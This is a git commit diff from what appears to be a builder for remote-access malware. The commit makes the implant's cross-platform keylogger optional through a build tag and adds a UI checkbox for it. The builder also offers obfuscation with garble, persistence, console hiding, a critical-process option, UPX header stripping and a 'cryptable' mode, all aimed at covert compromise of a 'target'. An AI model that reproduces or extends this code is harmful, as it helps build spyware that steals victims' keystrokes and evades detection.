make keylogger optional

This commit is contained in:
KingKDot
2026-05-10 17:06:39 -05:00
parent f5f4c07f0d
commit 05eb7385c1
11 changed files with 78 additions and 16 deletions
@@ -1,3 +1,6 @@
//go:build !nokeylogger
// +build !nokeylogger
package keylogger
import (
@@ -1,6 +1,5 @@
// go:build darwin
//go:build darwin
// +build darwin
//go:build darwin && !nokeylogger
// +build darwin,!nokeylogger
package keylogger
@@ -1,4 +1,4 @@
//go:build !windows && !linux && !darwin
//go:build !windows && !linux && !darwin && !nokeylogger
package keylogger
@@ -0,0 +1,24 @@
//go:build nokeylogger
// +build nokeylogger
package keylogger
import "time"
type Keylogger struct{}
type FileInfo struct {
Name string
Size int64
Date time.Time
}
func New() *Keylogger { return nil }
func (k *Keylogger) Start() error { return nil }
func (k *Keylogger) Stop() {}
func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
func (k *Keylogger) ClearAll() error { return nil }
func (k *Keylogger) DeleteFile(string) error { return nil }
func (k *Keylogger) FlushNow() {}
@@ -1,6 +1,5 @@
// go:build linux
//go:build linux
// +build linux
//go:build linux && !nokeylogger
// +build linux,!nokeylogger
package keylogger
@@ -1,6 +1,5 @@
// go:build windows
//go:build windows
// +build windows
//go:build windows && !nokeylogger
// +build windows,!nokeylogger
package keylogger
+6 -4
View File
@@ -626,10 +626,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
defer env.Plugins.Close()
env.Keylogger = keylogger.New()
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
defer env.Keylogger.Stop()
if env.Keylogger != nil {
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
defer env.Keylogger.Stop()
}
}
dispatcher := handlers.NewDispatcher(env)
+5 -1
View File
@@ -125,6 +125,7 @@ function collectFormSettings() {
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
@@ -178,6 +179,7 @@ function applyFormSettings(settings) {
if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
@@ -390,7 +392,7 @@ const CRYPTABLE_DISABLE_INPUTS = [
"#sleep-seconds",
];
const CRYPTABLE_HIDE_SECTIONS = [4, 5, 6];
const CRYPTABLE_HIDE_SECTIONS = [5, 6, 7];
function applyCryptableMode(enabled) {
const badge = document.getElementById("cryptable-badge");
@@ -1342,6 +1344,7 @@ form?.addEventListener("submit", async (e) => {
const noPrinting = form.querySelector(
'input[name="no-printing"]',
).checked;
const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
@@ -1375,6 +1378,7 @@ form?.addEventListener("submit", async (e) => {
startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
hideConsole,
noPrinting,
disableKeylogger: !enableKeylogger,
outputName: outputNameVal || undefined,
garbleLiterals: obfuscate ? garbleLiterals : undefined,
garbleTiny: obfuscate ? garbleTiny : undefined,
+27 -1
View File
@@ -285,6 +285,7 @@
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors">
<input type="checkbox" name="obfuscate" class="w-4 h-4" />
<div class="flex flex-col">
@@ -368,7 +369,32 @@
</div>
</div>
<!-- == Section 4: Persistence (collapsed) == -->
<!-- == Section 4: Features == -->
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
<i class="fa-solid fa-puzzle-piece text-cyan-400"></i> Features
</span>
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
</button>
<div class="accordion-body">
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-2">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
<input type="checkbox" name="enable-keylogger" class="w-4 h-4" checked />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-keyboard text-amber-400"></i> Keylogger
</span>
<span class="text-xs text-slate-500">Captures keystrokes with window titles on target</span>
</div>
</label>
</div>
</div>
</div>
<!-- == Section 5: Persistence (collapsed) == -->
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
@@ -852,6 +852,9 @@ func runBoundFiles() {
if (config.noPrinting) {
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
}
if (config.disableKeylogger) {
sendToStream({ type: "output", text: "Keylogger disabled (nokeylogger tag)\n", level: "info" });
}
// Linux CGO builds must be fully statically linked to avoid glibc version
// mismatches between the build server and target machines.
@@ -865,6 +868,7 @@ func runBoundFiles() {
const buildTool = config.obfuscate ? "garble" : "go";
const buildTags: string[] = [];
if (config.noPrinting) buildTags.push("noprint");
if (config.disableKeylogger) buildTags.push("nokeylogger");
if (hasBoundFiles) buildTags.push("hasbinder");
if (config.enablePersistence && os === "windows") {
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
@@ -106,6 +106,7 @@ export async function handleBuildRoutes(
upxStripHeaders,
requireAdmin,
criticalProcess,
disableKeylogger,
outputExtension,
sleepSeconds,
boundFiles,
@@ -372,6 +373,7 @@ export async function handleBuildRoutes(
upxStripHeaders: !!upxStripHeaders,
requireAdmin: safeRequireAdmin,
criticalProcess: safeCriticalProcess,
disableKeylogger: !!disableKeylogger,
outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds,
boundFiles: safeBoundFiles,